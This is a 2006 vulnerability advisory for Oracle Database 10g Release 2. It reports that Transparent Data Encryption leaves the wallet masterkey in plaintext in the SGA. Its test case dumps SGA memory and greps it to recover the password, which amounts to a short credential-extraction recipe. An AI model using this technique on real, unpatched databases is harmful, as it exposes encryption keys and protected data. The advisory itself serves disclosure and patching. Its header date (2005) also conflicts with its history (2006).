Oracle Database 10g Rel. 2- Transparent Data Encryption plaintext masterkey in SGA

[ak () red-database-security com]

Transparent Data Encryption stores key unencrypted in the SGA

Name        Transparent Data Encryption stores key unencrypted in the SGA
Affected        Oracle Database 10g Release 2
Severity        High Risk
Category        Information disclosure
Vendor URL      http://www.oracle.com/
Author  Alexander Kornbrust (ak at red-database-security.com)
Date          17 January 2005 (V 1.00)
Oracle Bug      5802173
Time to fix 190 days


Details:
########
The Oracle security feature "Transparent Data Encryption" is storing the masterkey unencrypted in the SGA. A skilled 
attacker or non-security DBA can retrieve the plaintext masterkey.

Test case:
##########

SQL> ALTER SYSTEM SET WALLET OPEN IDENTIFIED BY "secretpassword";

System altered.
SQL> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 Production With the Partitioning, OLAP and 
Data Mining options


[oracle@ora10201 /]$ export DUMPSGA_DIR=/oracle/10.2.0/bin

[oracle@ora10201 /]$ cd /tmp

[oracle@ora10201 /]$ dumpsga 

[oracle@ora10201 /]$ strings * | grep -iH secretpassword 

secretpassword 
secretpassword 
secretpassword


[] Excerpt from the SGA
/oracle/10.2.0/admin/ora01/wallet/^@"[q^@^@ôçd$d$^@?y*cle/10.2.0/admin/ora10201/wallet/^@^@^@^@^@^9^@^@0êd$d¤d$-

^@^@0êd$L4^L¿^Xp /¹]/º<8f>^Dsecretpassword^@^M^U^B^@èd$´4^Lfile:/oracle/10.2.0/admin/ora10201/wallet
[]


Patch Information:
##################
Oracle fixed this issue with the patches from the critical patch update january 2006 for Oracle 10g Release 2.

History:
########
11-jul-2005 Oracle secalert was informed
12-jul-2005 Bug confirmed
17-jan-2006 Oracle published the Critical Patch Update January 2006 
(CPU January 2006)
17-jan-2006 Red-Database-Security published this advisory



© 2006 by Red-Database-Security GmbH 
http://www.red-database-security.com/advisory/oracle_cpu_jan_2006.html